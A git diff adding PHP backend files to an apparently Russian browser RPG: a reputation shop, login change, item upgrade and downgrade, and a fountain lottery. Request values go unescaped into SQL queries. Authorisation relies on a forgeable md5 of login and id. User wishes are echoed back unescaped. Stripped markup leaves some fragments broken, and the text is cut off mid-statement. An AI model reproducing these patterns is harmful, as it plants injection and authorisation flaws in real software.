$count_ok=1; + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `ahero_shop` WHERE `id` = '{$set}' LIMIT 1;")); + if ($count_ok==0) { + echo "Неправильно введено количество"; + //$good = 0; + } + elseif (($dress['massa']*$_POST['count']+$d[0]) > (get_meshok())) { + echo "Недостаточно места в рюкзаке."; + //$good = 0; + } + elseif($count_ok==1 && ($user['doblest']>= ($dress['point']*$_POST['count'])) && ($dress['count'] >= $_POST['count'])) { + + for($k=1;$k<=$_POST['count'];$k++) { + if(mysql_query("INSERT INTO `inventory` + (`opisan`, `prototype`,`owner`,`name`,`type`,`massa`,`point`,`img`,`maxdur`,`isrep`, + `gsila`,`glovk`,`ginta`,`gintel`,`ghp`,`gnoj`,`gtopor`,`gdubina`,`gmech`,`gfire`,`gwater`,`gair`,`gearth`,`glight`,`ggray`,`gdark`,`needident`,`nsila`,`nlovk`,`ninta`,`nintel`,`nmudra`,`nvinos`,`nnoj`,`ntopor`,`ndubina`,`nmech`,`nfire`,`nwater`,`nair`,`nearth`,`nlight`,`ngray`,`ndark`, + `mfkrit`,`mfakrit`,`mfuvorot`,`mfauvorot`,`bron1`,`bron2`,`bron3`,`bron4`,`maxu`,`minu`,`magic`,`nlevel`,`nalign`,`dategoden`,`goden`,`otdel`,`gmp`,`gmeshok`,`encicl`,`artefact`, `koll` + ) + VALUES + ('{$dress['opisan']}','{$dress['id']}','{$user['id']}','{$dress['name']}','{$dress['type']}',{$dress['massa']},{$dress['point']},'{$dress['img']}',{$dress['maxdur']},{$dress['isrep']},'{$dress['gsila']}','{$dress['glovk']}','{$dress['ginta']}','{$dress['gintel']}','{$dress['ghp']}','{$dress['gnoj']}','{$dress['gtopor']}','{$dress['gdubina']}','{$dress['gmech']}','{$dress['gfire']}','{$dress['gwater']}','{$dress['gair']}','{$dress['gearth']}','{$dress['glight']}','{$dress['ggray']}','{$dress['gdark']}','{$dress['needident']}','{$dress['nsila']}','{$dress['nlovk']}','{$dress['ninta']}','{$dress['nintel']}','{$dress['nmudra']}','{$dress['nvinos']}','{$dress['nnoj']}','{$dress['ntopor']}','{$dress['ndubina']}','{$dress['nmech']}','{$dress['nfire']}','{$dress['nwater']}','{$dress['nair']}','{$dress['nearth']}','{$dress['nlight']}','{$dress['ngray']}','{$dress['ndark']}', + '{$dress['mfkrit']}','{$dress['mfakrit']}','{$dress['mfuvorot']}','{$dress['mfauvorot']}','{$dress['bron1']}','{$dress['bron2']}','{$dress['bron3']}','{$dress['bron4']}','{$dress['maxu']}','{$dress['minu']}','{$dress['magic']}','{$dress['nlevel']}','{$dress['nalign']}','".(($dress['goden'])?($dress['goden']*24*60*60+time()):"")."','{$dress['goden']}','{$dress['razdel']}','{$dress['gmp']}','{$dress['gmeshok']}','{$dress['encicl']}','{$dress['artefact']}','{$dress['koll']}' + ) ;")) + { + $good = 1; + } + else { + $good = 0; + } + } + if ($good) { + mysql_query("UPDATE `shop` SET `count`=`count`-{$_POST['count']} WHERE `id` = '{$set}' LIMIT 1;"); + echo "Вы купили {$_POST['count']} шт. \"{$dress['name']}\"."; + mysql_query("UPDATE `users` set `doblest` = `doblest`- '".($_POST['count']*$dress['point'])."' WHERE id = {$user['id']} ;"); + $user['money'] -= $_POST['count']*$dress['point']; + $limit=$_POST['count']; + $invdb = mysql_query("SELECT `id` FROM `inventory` WHERE `name` = '".$dress['name']."' ORDER by `id` DESC LIMIT ".$limit." ;" ); + //$invdb = mysql_query("SELECT id FROM `inventory` WHERE `name` = '".{$dress['name']}."' ORDER by `id` DESC LIMIT $limit ;" ); + if ($limit == 1) { + $dressinv = mysql_fetch_array($invdb); + $dressid = "cap".$dressinv['id']; + $dresscount=" "; + } + else { + $dressid=""; + while ($dressinv = mysql_fetch_array($invdb)) { + $dressid .= "cap".$dressinv['id'].","; + } + $dresscount="(x".$_POST['count'].") "; + } + $allcost=$_POST['count']*$dress['point']; + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$user['id']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" ".$dresscount."id:(".$dressid.") [0/".$dress['maxdur']."] за ".$allcost." кр. ',1,'".time()."');"); + } else { + + } + } + else { + echo "Недостаточно репутации или нет вещей в наличии."; + } + } +?> + + + + + + + + + + + + + +

Магазин РЕПУТАЦИИ

+ +
+ + + + + + + + + +
+ + + + + + +
Отдел "" + +
+ + 0 AND `razdel` = '{$_GET['otdel']}' ORDER by `point` ASC"); + while($row = mysql_fetch_array($data)) { + if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; } + echo " + "; + showitem ($row, 11); + echo ""; + } +//} +?> +
"; + ?> +
купить + Купить несколько штук
+
+ +
+ + + +
+ +
+ + \ No newline at end of file diff --git a/ajax/change_login.php b/ajax/change_login.php new file mode 100644 index 0000000..d27c20e --- /dev/null +++ b/ajax/change_login.php @@ -0,0 +1,55 @@ += 25) { + if($_POST['log'] != null) { + if(strtoupper($_POST['log']) == strtoupper("невидимка") || strtoupper($_POST['log']) == strtoupper("мусорщик") || strtoupper($_POST['log']) == strtoupper("мироздатель") || strtoupper($_POST['log']) == strtoupper("архивариус") || strtoupper($_POST['log']) == strtoupper("Благодать") || strtoupper($_POST['log']) == strtoupper("Merlin") || strtoupper($_POST['log']) == strtoupper("Коментатор")) { + echo 'Регистрация персонажа с ником '.$_POST['log'].' запрещена!
'; + } elseif(strlen($_POST['log']) < 3 || strlen($_POST['log']) > 20 || !preg_match("/^[a-zA-Zа-яА-Я0-9][a-zA-Zа-яА-Я0-9_ -]+[a-zA-Zа-яА-Я0-9]$/", $_POST['log']) || preg_match("/__/", $_POST['log']) || preg_match("/--/", $_POST['log']) || preg_match("/ /", $_POST['log']) || preg_match("/(.)\\1\\1\\1/", $_POST['log'])) { + echo "Логин может содержать от 3 до 20 символов, и состоять только из букв русского или английского алфавита, цифр, символов '_', '-' и пробела.
Логин не может начинаться или заканчиваться символами '_', '-' или пробелом
Также в логине не должно присутствовать подряд более 1 символа '_' или '-' и более 1 пробела, а также более 3-х других одинаковых символов.

".$_POST['log']; + } elseif(preg_match("[a-zA-Z]", $_POST['log']) && preg_match("[а-яА-Я]", $_POST['log'])) { + echo "Логин не может содержать одновременно буквы русского и латинского алфавитов!
"; + } else { + if(!isset($usid['id'])) { + echo 'good'; + } else { + echo 'Данный логин занят ...'; + } + } + } else { + echo 'Введите логин ...'; + } + } else { + echo 'Недостаточно средств ...'; + } + } else { + echo 'Банк не найден ...'; + } + } else { + echo 'Missing params. Code: 02.'; + } +} else { + echo 'Missing params. Code: 01.'; +} + +if($_POST['true'] == '1') { + if($bank['ekr'] >= 25) { + mysql_query('UPDATE `users` SET `login` = "'.mysql_real_escape_string($_POST['log']).'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + $bank['ekr'] -= 25; + mysql_query('UPDATE `bank` SET `ekr` = "'.$bank['ekr'].'" WHERE `id` = "'.$bank['id'].'" LIMIT 1'); + echo 'Ваш логин успешно изменен ...'; + } else { + echo 'Err'; + } + echo 'Тест логин'; +} \ No newline at end of file diff --git a/ajax/clan_log.php b/ajax/clan_log.php new file mode 100644 index 0000000..546a7af --- /dev/null +++ b/ajax/clan_log.php @@ -0,0 +1,18 @@ + \ No newline at end of file diff --git a/ajax/downgrade_art.php b/ajax/downgrade_art.php new file mode 100644 index 0000000..e283b2b --- /dev/null +++ b/ajax/downgrade_art.php @@ -0,0 +1,94 @@ + array('cost' => 2000, 'ghp' => 8, 'stat' => 1, 'bron' => 1, 'mf' => 7, 'mindur' => 30, 'minu' => 1, 'maxu' => 1), + 8 => array('cost' => 3000, 'ghp' => 10, 'stat' => 1, 'bron' => 1, 'mf' => 10, 'mindur' => 40, 'minu' => 2, 'maxu' => 2), + 9 => array('cost' => 7000, 'ghp' => 12, 'stat' => 1, 'bron' => 1, 'mf' => 13, 'mindur' => 50, 'minu' => 3, 'maxu' => 3), + 10 => array('cost' => 10000, 'ghp' => 14, 'stat' => 1, 'bron' => 1, 'mf' => 16, 'mindur' => 60, 'minu' => 4, 'maxu' => 4), + 11 => array('cost' => 15000, 'ghp' => 16, 'stat' => 1, 'bron' => 1, 'mf' => 19, 'mindur' => 70, 'minu' => 5, 'maxu' => 5), + 12 => array('cost' => 36000, 'ghp' => 18, 'stat' => 1, 'bron' => 1, 'mf' => 22, 'mindur' => 80, 'minu' => 6, 'maxu' => 6) + ); + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `doblest` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1')); + $salt = md5($user['login'].'|'.$user['id']); + if(isset($user['id'])) { + if($_POST['hash'] == $salt) { + $it = (int)$_POST['item']; + $item = mysql_fetch_array(mysql_query('SELECT * FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($it).'" AND `point` > 0 AND `dressed` = 0 LIMIT 1')); + if(isset($item['id']) && ($item['nlevel'] <= 13 && $item['nlevel'] >= 7)) { + $level = $item['nlevel']-1; + if($user['doblest'] >= $arr[$level]['cost']) { + $user['doblest'] -= $arr[$level]['cost']; + mysql_query('UPDATE `users` SET `doblest` = "'.$user['doblest'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + + if($item['type'] != 3) { + $item['ghp'] -= $arr[$level]['ghp']; + if($item['bron1'] > 0) { $item['bron1'] -= 1; } + if($item['bron2'] > 0) { $item['bron2'] -= 1; } + if($item['bron3'] > 0) { $item['bron3'] -= 1; } + if($item['bron4'] > 0) { $item['bron4'] -= 1; } + if($item['mfkrit'] > 0) { $item['mfkrit'] -= sums($item['mfkrit'], $arr[$level]['mf']); } + if($item['mfakrit'] > 0) { $item['mfakrit'] -= sums($item['mfakrit'], $arr[$level]['mf']); } + if($item['mfuvorot'] > 0) { $item['mfuvorot'] -= sums($item['mfuvorot'], $arr[$level]['mf']); } + if($item['mfauvorot'] > 0) { $item['mfauvorot'] -= sums($item['mfauvorot'], $arr[$level]['mf']); } + if($item['gsila'] > 0) { $item['gsila'] -= $arr[$level]['stat']; } + if($item['glovk'] > 0) { $item['glovk'] -= $arr[$level]['stat']; } + if($item['ginta'] > 0) { $item['ginta'] -= $arr[$level]['stat']; } + if($item['gintel'] > 0) { $item['gintel'] -= $arr[$level]['stat']; } + } + + if($item['type'] == 3) { + $item['minu'] -= $arr[$level]['minu']; $item['maxu'] -= $arr[$level]['minu']; + } + + $item['nlevel'] -= 1; + + if($item['nsila'] > 0) { $item['nsila'] -= 1; } + if($item['nlovk'] > 0) { $item['nlovk'] -= 1; } + if($item['ninta'] > 0) { $item['ninta'] -= 1; } + if($item['nvinos'] > 0) { $item['nvinos'] -= 1; } + if($item['nintel'] > 0) { $item['nintel'] -= 1; } + if($item['nnoj'] > 0) { $item['nnoj'] -= 1; } + if($item['ntopor'] > 0) { $item['ntopor'] -= 1; } + if($item['ndubina'] > 0) { $item['ndubina'] -= 1; } + if($item['nmech'] > 0) { $item['nmech'] -= 1; } + mysql_query('UPDATE `inventory` SET `nlevel` = "'.$item['nlevel'].'", `ghp` = "'.$item['ghp'].'", `bron1` = "'.$item['bron1'].'", `bron2` = "'.$item['bron2'].'", `bron3` = "'.$item['bron3'].'", `bron4` = "'.$item['bron4'].'", `mfkrit` = "'.$item['mfkrit'].'", `mfakrit` = "'.$item['mfakrit'].'", `mfuvorot` = "'.$item['mfuvorot'].'", `mfauvorot` = "'.$item['mfauvorot'].'", `gsila` = "'.$item['gsila'].'", `glovk` = "'.$item['glovk'].'", `ginta` = "'.$item['ginta'].'", `gintel` = "'.$item['gintel'].'", `minu` = "'.$item['minu'].'", `maxu` = "'.$item['maxu'].'", `nsila` = "'.$item['nsila'].'", `nlovk` = "'.$item['nlovk'].'", `ninta` = "'.$item['ninta'].'", `nvinos` = "'.$item['nvinos'].'", `nintel` = "'.$item['nintel'].'", `nnoj` = "'.$item['nnoj'].'", `ntopor` = "'.$item['ntopor'].'", `ndubina` = "'.$item['ndubina'].'", `nmech` = "'.$item['nmech'].'", `maxdur` = "'.$item['maxdur'].'", `duration` = "'.$item['duration'].'" WHERE `id` = "'.$item['id'].'" LIMIT 1'); + + ### + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" понизил уровень предмета: \"".$item['name']."\" id:(".$item['id'].") [$item[duration]/".$item['maxdur']."] за ".$arr[$level]['cost']." реп, до уровня $item[nlevel].', 1, '".time()."')"); + ### + echo 'success'; + } else { + echo 'Недостаточно репутации для операции ...'; + } + } else { + echo 'Предмет не найден ... ['.$item['id'].' | '.$item['nlevel'].']'; + } + } else { + echo 'Утеря параметров. Код ошибки: 1001001.'; + } + } else { + echo 'А вы кто ???'; + } + } else { + echo 'Утерян параметр #hash# ...'; + } + } else { + echo 'А вы кто ???'; + } +} else { + echo 'Выберите предмет!'; +} +?> \ No newline at end of file diff --git a/ajax/fontan_luck.php b/ajax/fontan_luck.php new file mode 100644 index 0000000..8ea4b57 --- /dev/null +++ b/ajax/fontan_luck.php @@ -0,0 +1,339 @@ +","излом носоглотки","непонятные, но множественные травмы","сильное внутреннее кровотечение","раздробленная коленная чашечка","перелом шеи","смещение позвонков","открытый перелом ключицы","перелом позвоночника","вывих позвоночника","сотрясение третьей степени"); + + $zz = mt_rand(1, 3); $s = 0; $l = 0; $i = 0; + switch($zz) { + case 1: $s = ($user['level'] + 3)*3; break; + case 2: $l = ($user['level'] + 3)*3; break; + case 3: $i = ($user['level'] + 3)*3; break; + } + $trv = $travmalist[mt_rand(0, count($travmalist)-1)]; + $time = 60*15; + mysql_query("INSERT INTO `effects` (`owner`, `name`, `time`, `type`, `sila`, `lovk`, `inta`, `vinos`) values ('".$id."', 'Травма "".$trv.""', ".(time()+$time).", '14', '".$s."', '".$l."', '".$i."', '0')"); + mysql_query("UPDATE `users` SET `sila` = (`sila`-'".$s."'), `lovk` = (`lovk`-'".$l."'), `inta` = (`inta`-'".$i."') WHERE `id` = '".$id."' LIMIT 1"); +} + +function paginate_function($item_per_page, $current_page, $total_records, $total_pages) { + $pagination = ''; + if($total_pages > 0 && $total_pages != 1 && $current_page <= $total_pages) { + $pagination .= '
    Страницы: '; + $right_links = $current_page + 3; + $previous = $current_page - 3; + $next = $current_page + 1; + $first_link = true; + + if($current_page > 1) { + $previous_link = ($previous == 0) ? 1 : $previous; + $pagination .= '
  • «
  • '; + for($i = ($current_page-2); $i < $current_page; $i++) { + if($i > 0) { + $pagination .= '
  • '.$i.'
  • '; + } + } + $first_link = false; + } + + if($first_link) { + $pagination .= '
  • '.$current_page.'
  • '; + } elseif($current_page == $total_pages) { + $pagination .= '
  • '.$current_page.'
  • '; + } else { + $pagination .= '
  • '.$current_page.'
  • '; + } + + for($i = $current_page+1; $i < $right_links ; $i++) { + if($i <= $total_pages) { + $pagination .= '
  • '.$i.'
  • '; + } + } + + if($current_page < $total_pages){ + $next_link = ($i > $total_pages)? $total_pages : $i; + $pagination .= '
  • »
  • '; + } + $pagination .= '
'; + } + return $pagination; +} + +function login($uid) { + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `klan` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1')); + if(isset($user['id'])) { + $align_img = ' '; + if($user['klan'] != '') { + $clan = mysql_fetch_array(mysql_query('SELECT `id`, `name` FROM `clans` WHERE `id` = "'.$user['klan'].'" LIMIT 1')); + $clan_img = ' '; + } else { + $clan_img = ''; + } + $r = $align_img.$clan_img.' '.$user['login'].' ['.$user['level'].']'; + } else { + $r = 'Невидимка'; + } + return $r; +} + +function load_winers($sum, $hash) { + if($sum > 0) { + $limit = 'LIMIT '.(int)$sum; + } else { + $limit = ''; + } + $r = '
Список, кому удалось достать монетки :'; + $r .= ''; + $sp = mysql_query('SELECT `id`, `usid`, `money`, `time`, `count` FROM `fountain_game` ORDER BY `id` DESC '.$limit.''); + while($pl = mysql_fetch_array($sp)) { + $us = mysql_fetch_array(mysql_query('SELECT `id` FROM `users` WHERE `id` = "'.$pl['usid'].'" LIMIT 1')); + $tm = date('d.m.y h:i:s', $pl['time']); + if($i == 0) { + $i = 1; $color = '#eeeeee'; + } else { + $i = 0; $color = '#e7e7e7'; + } + $user = login($us['id']); + $r .= ''; + } + $r .= '
КтоРазКогдаВсего кр.
'.$user.''.$pl['count'].''.$tm.''.$pl['money'].'
'; + $r .= '
'; + unset($pl, $us, $tm, $user); + return $r; +} + +function send_wish($hash, $text, $uid) { + if(isset($uid) && $uid > 0) { + if(isset($text)) { + if(strlen($text) < 5) { + echo ""; + } elseif(strlen($text) > 50) { + echo ""; + } else { + $us = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `level`, `align` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1')); + if(isset($us['id'])) { + if(md5($us['login'].'|'.$us['id']) == $hash) { + $txt = mysql_real_escape_string($text); + if(iconv("utf-8", "utf-8", $txt) != '') { + $addText = iconv("utf-8", "utf-8", $txt); + } + mysql_query('INSERT INTO `fontan_wish` (`uid`, `time`, `wish`) VALUES ("'.$us['id'].'", "'.time().'", "'.$addText.'")'); + echo ""; + } else { + echo ""; + } + } else { + echo ""; + } + } + } else { + echo ""; + } + } else { + echo ""; + } +} + +function cureHps($hash, $uid) { + if(isset($uid) && $uid > 0) { + $us = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `hp`, `maxhp` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1')); + if(isset($us['id'])) { + if(md5($us['login'].'|'.$us['id']) == $hash) { + if(($us['level'] <= 7 || $us['align'] == 2.99) && $us['hp'] < $us['maxhp']) { + $us['hp'] = $us['maxhp']; + mysql_query('UPDATE `users` SET `hp` = "'.$us['hp'].'" WHERE `id` = "'.$us['id'].'" LIMIT 1'); + echo ""; + } elseif($us['hp'] == $us['maxhp']) { + echo ""; + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } +} + +function giveCoin($hash, $uid) { + if(isset($uid) && $uid > 0) { + $us = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align`, `level`, `money` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1')); + if(isset($us['id'])) { + if(md5($us['login'].'|'.$us['id']) == $hash) { + if($us['money'] >= 1) { + $us['money'] -= 1; + mysql_query('UPDATE `users` SET `money` = "'.$us['money'].'" WHERE `id` = "'.$us['id'].'" LIMIT 1'); + $f = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "fontan_jackpot" LIMIT 1')); + $f['value'] += 1; + mysql_query('UPDATE `variables` SET `value` = "'.$f['value'].'" WHERE `var` = "fontan_jackpot" LIMIT 1'); + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$us['id']}', '\"".$us['login']."\" бросил монетку в фонтан.', 1, '".time()."')"); + echo ""; + echo ""; + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } +} + +function loadWishs($p, $uid, $hash) { + $admin = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align` FROM `users` WHERE `id` = "'.$uid.'" LIMIT 1')); + $acces = false; $adimg = ''; + if(isset($admin['id'])) { + if($admin['align'] != 2.99) { + $acces = false; + } else { + if(md5($admin['login'].'|'.$admin['id']) == $hash) { + $acces = true; + } else { + $acces = false; + } + } + } + + $pgs = mysql_fetch_array(mysql_query("SELECT COUNT(`id`) FROM `fontan_wish`")); + $item_per_page = 15; + $allPages = ceil($pgs[0]/$item_per_page); + $page_position = (($p-1) * $item_per_page); + echo ''; + $w = mysql_query("SELECT `id`, `uid`, `time`, `wish` FROM `fontan_wish` ORDER BY `id` DESC LIMIT $page_position, $item_per_page"); + while($pl = mysql_fetch_array($w)) { + if($i == 0) { + $i = 1; $color = '#eeeeee'; + } else { + $i = 0; $color = '#e7e7e7'; + } + if($acces == true) { + $adimg = ' '; + } + $user = login($pl['uid']); + echo ''; + } + echo '
'.$adimg.$user.''.$pl['wish'].'
'; + echo '
'.paginate_function($item_per_page, $p, $pgs[0], $allPages); + unset($pl, $user); +} + +function howMuch() { + $f = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "fontan_jackpot" LIMIT 1')); + echo $f['value']; +} + +function tryGet($hash, $uid) { + if(isset($hash)) { + if($uid > 0) { + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `money` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1')); + if(isset($user['id'])) { + if(md5($user['login'].'|'.$user['id']) == $hash) { + $travm = mysql_fetch_array(mysql_query('SELECT `id` FROM `effects` WHERE (`type` = "13" OR `type` = "14") AND `owner` = "'.$user['id'].'" LIMIT 1')); + if(isset($travm['id'])) { + echo ""; + } else { + $rand = mt_rand(80, 100); $r = mt_rand(0, 100); + $jackpot = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "fontan_jackpot" LIMIT 1')); + $last = mysql_fetch_array(mysql_query('SELECT `id`, `usid`, `money`, `time`, `count` FROM `fountain_game` WHERE `usid` = "'.$user['id'].'" LIMIT 1')); + if($jackpot['value'] > 0) { + if($r == $rand) { + $user['money'] += $jackpot['value']; + mysql_query('UPDATE `users` SET `money` = "'.$user['money'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + mysql_query('UPDATE `variables` SET `value` = 0 WHERE `var` = "fontan_jackpot" LIMIT 1'); + if(isset($last['id'])) { + $last['money'] += $jackpot['value']; $last['time'] = time(); $last['count'] += 1; + mysql_query('UPDATE `fountain_game` SET `money` = "'.$last['money'].'", `time` = "'.$last['time'].'", `count` = "'.$last['count'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + } else { + mysql_query('INSERT INTO `fountain_game` (`usid`, `time`, `money`, `count`) VALUES ("'.$user['id'].'", "'.time().'", "'.$jackpot['value'].'", "1")'); + } + mysql_query("INSERT INTO `delo` (`author`, `pers`, `text`, `type`, `date`) VALUES ('0', '{$user['id']}', '\"".$user['login']."\" достал монетки из фонтана [$jackpot[value]] кр.', 1, '".time()."')"); + echo ""; + echo ""; + echo mysql_error(); + } else { + add_trv($user['id']); + echo ""; + } + } else { + echo ""; + } + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } +} + +function deleteWishs($id, $uid, $hash) { + if($id > 0) { + if($uid > 0) { + if(isset($hash)) { + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `align` FROM `users` WHERE `id` = "'.(int)$uid.'" LIMIT 1')); + if(isset($user['id'])) { + if($user['align'] == 2.99) { + if(md5($user['login'].'|'.$user['id']) == $hash) { + $text = mysql_fetch_array(mysql_query('SELECT `id` FROM `fontan_wish` WHERE `id` = "'.(int)$id.'" LIMIT 1')); + if(isset($text['id'])) { + mysql_query('DELETE FROM `fontan_wish` WHERE `id` = "'.$text['id'].'" LIMIT 1'); + echo ""; + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } + } else { + echo ""; + } +} + +if($_GET['do'] == 'load_winers' && $_GET['allList'] == 0) { + echo load_winers(5, $_GET['hash']); +} elseif($_GET['do'] == 'load_winers' && $_GET['allList'] == 1) { + echo load_winers(0, $_GET['hash']); +} elseif($_GET['do'] == 'showPanel') { + echo '
Не более 50 символов. Монетка тоже бросится
Я желаю :
'; +} elseif($_GET['do'] == 'wish') { + echo send_wish($_GET['hash'], $_GET['tekst'], (int)$_GET['uid']); +} elseif($_GET['do'] == 'cureHps') { + echo cureHps($_GET['hash'], (int)$_GET['uid']); +} elseif($_GET['do'] == 'giveCoin') { + echo giveCoin($_GET['hash'], (int)$_GET['uid']); +} elseif($_GET['do'] == 'loadWishs') { + echo loadWishs((int)$_GET['page'], (int)$_GET['uid'], $_GET['hash']); +} elseif($_GET['do'] == 'howMuch') { + echo howMuch(); +} elseif($_GET['do'] == 'tryGet') { + echo tryGet($_GET['hash'], (int)$_GET['uid']); +} elseif($_GET['do'] == 'deleteWishs') { + echo deleteWishs((int)$_GET['id'], (int)$_GET['uid'], $_GET['hash']); +} diff --git a/ajax/rate_ruins.php b/ajax/rate_ruins.php new file mode 100644 index 0000000..39d1e1c --- /dev/null +++ b/ajax/rate_ruins.php @@ -0,0 +1,22 @@ +По уровням : '; + for($i = 7; $i <= 13; $i++) { + if($level == $i) { + $r .= ' ['.$i.']'; + } else { + $r .= ' ['.$i.']'; + } + } + $r .= '
    '; + $sp = mysql_query('SELECT `groups`.*, `winers`.* FROM `group_wins` AS `grou WHERE `level` = "'.(int)$level.'" ORDER BY `id` DESC LIMIT 10'); + $r .= '
'; + $r .= ''; + return $r; +} + +if($_GET['level'] >= 7 && $_GET['level'] <= 13) echo form_rate((int)$_GET['level']); + +$r .= '
  • 04.02.16 06:00 - Победитель : Отряд «Winers ['.$level.']», в составе: The Kite Runner, Costa, Rallo Tabs «История Турнира»
  • '; \ No newline at end of file diff --git a/ajax/update_art.php b/ajax/update_art.php new file mode 100644 index 0000000..7e3b1f3 --- /dev/null +++ b/ajax/update_art.php @@ -0,0 +1,95 @@ + array('cost' => 1500, 'ghp' => 8, 'stat' => 1, 'bron' => 1, 'mf' => 7, 'mindur' => 30, 'minu' => 1, 'maxu' => 1), + 9 => array('cost' => 3500, 'ghp' => 10, 'stat' => 1, 'bron' => 1, 'mf' => 10, 'mindur' => 40, 'minu' => 2, 'maxu' => 2), + 10 => array('cost' => 5000, 'ghp' => 12, 'stat' => 1, 'bron' => 1, 'mf' => 13, 'mindur' => 50, 'minu' => 3, 'maxu' => 3), + 11 => array('cost' => 7500, 'ghp' => 14, 'stat' => 1, 'bron' => 1, 'mf' => 16, 'mindur' => 60, 'minu' => 4, 'maxu' => 4), + 12 => array('cost' => 9000, 'ghp' => 16, 'stat' => 1, 'bron' => 1, 'mf' => 19, 'mindur' => 70, 'minu' => 5, 'maxu' => 5), + 13 => array('cost' => 18000, 'ghp' => 18, 'stat' => 1, 'bron' => 1, 'mf' => 22, 'mindur' => 80, 'minu' => 6, 'maxu' => 6) + ); + $user = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `doblest` FROM `users` WHERE `id` = "'.mysql_real_escape_string($uid).'" LIMIT 1')); + $salt = md5($user['login'].'|'.$user['id']); + if(isset($user['id'])) { + if($_POST['hash'] == $salt) { + $it = (int)$_POST['item']; + $item = mysql_fetch_array(mysql_query('SELECT * FROM `inventory` WHERE `owner` = "'.$user['id'].'" AND `id` = "'.mysql_real_escape_string($it).'" AND `point` > 0 AND `dressed` = 0 LIMIT 1')); + if(isset($item['id']) && ($item['nlevel'] >= 7 && $item['nlevel'] <= 13)) { + $level = $item['nlevel']+1; + if($user['doblest'] >= $arr[$level]['cost']) { + $user['doblest'] -= $arr[$level]['cost']; + mysql_query('UPDATE `users` SET `doblest` = "'.$user['doblest'].'" WHERE `id` = "'.$user['id'].'" LIMIT 1'); + + if($item['type'] != 3) { + $item['ghp'] += $arr[$level]['ghp']; + if($item['bron1'] > 0) { $item['bron1'] += 1; } + if($item['bron2'] > 0) { $item['bron2'] += 1; } + if($item['bron3'] > 0) { $item['bron3'] += 1; } + if($item['bron4'] > 0) { $item['bron4'] += 1; } + if($item['mfkrit'] > 0) { $item['mfkrit'] += sums($item['mfkrit'], $arr[$level]['mf']); } + if($item['mfakrit'] > 0) { $item['mfakrit'] += sums($item['mfakrit'], $arr[$level]['mf']); } + if($item['mfuvorot'] > 0) { $item['mfuvorot'] += sums($item['mfuvorot'], $arr[$level]['mf']); } + if($item['mfauvorot'] > 0) { $item['mfauvorot'] += sums($item['mfauvorot'], $arr[$level]['mf']); } + if($item['gsila'] > 0) { $item['gsila'] += $arr[$level]['stat']; } + if($item['glovk'] > 0) { $item['glovk'] += $arr[$level]['stat']; } + if($item['ginta'] > 0) { $item['ginta'] += $arr[$level]['stat']; } + if($item['gintel'] > 0) { $item['gintel'] += $arr[$level]['stat']; } + } + + if($item['type'] == 3) { + $item['minu'] += $arr[$level]['minu']; $item['maxu'] += $arr[$level]['minu']; + } + + $item['nlevel'] += 1; + + if($item['nsila'] > 0) { $item['nsila'] += 1; } + if($item['nlovk'] > 0) { $item['nlovk'] += 1; } + if($item['ninta'] > 0) { $item['ninta'] += 1; } + if($item['nvinos'] > 0) { $item['nvinos'] += 1; } + if($item['nintel'] > 0) { $item['nintel'] += 1; } + if($item['nnoj'] > 0) { $item['nnoj'] += 1; } + if($item['ntopor'] > 0) { $item['ntopor'] += 1; } + if($item['ndubina'] > 0) { $item['ndubina'] += 1; } + if($item['nmech'] > 0) { $item['nmech'] += 1; } + if($item['maxdur'] < $arr[$level]['mindur']) { $item['maxdur'] = $arr[$level]['mindur']; $item['duration'] = 0; } + mysql_query('UPDATE `inventory` SET `nlevel` = "'.$item['nlevel'].'", `ghp` = "'.$item['ghp'].'", `bron1` = "'.$item['bron1'].'", `bron2` = "'.$item['bron2'].'", `bron3` = "'.$item['bron3'].'", `bron4` = "'.$item['bron4'].'", `mfkrit` = "'.$item['mfkrit'].'", `mfakrit` = "'.$item['mfakrit'].'", `mfuvorot` = "'.$item['mfuvorot'].'", `mfauvorot` = "'.$item['mfauvorot'].'", `gsila` = "'.$item['gsila'].'", `glovk` = "'.$item['glovk'].'", `ginta` = "'.$item['ginta'].'", `gintel` = "'.$item['gintel'].'", `minu` = "'.$item['minu'].'", `maxu` = "'.$item['maxu'].'", `nsila` = "'.$item['nsila'].'", `nlovk` = "'.$item['nlovk'].'", `ninta` = "'.$item['ninta'].'", `nvinos` = 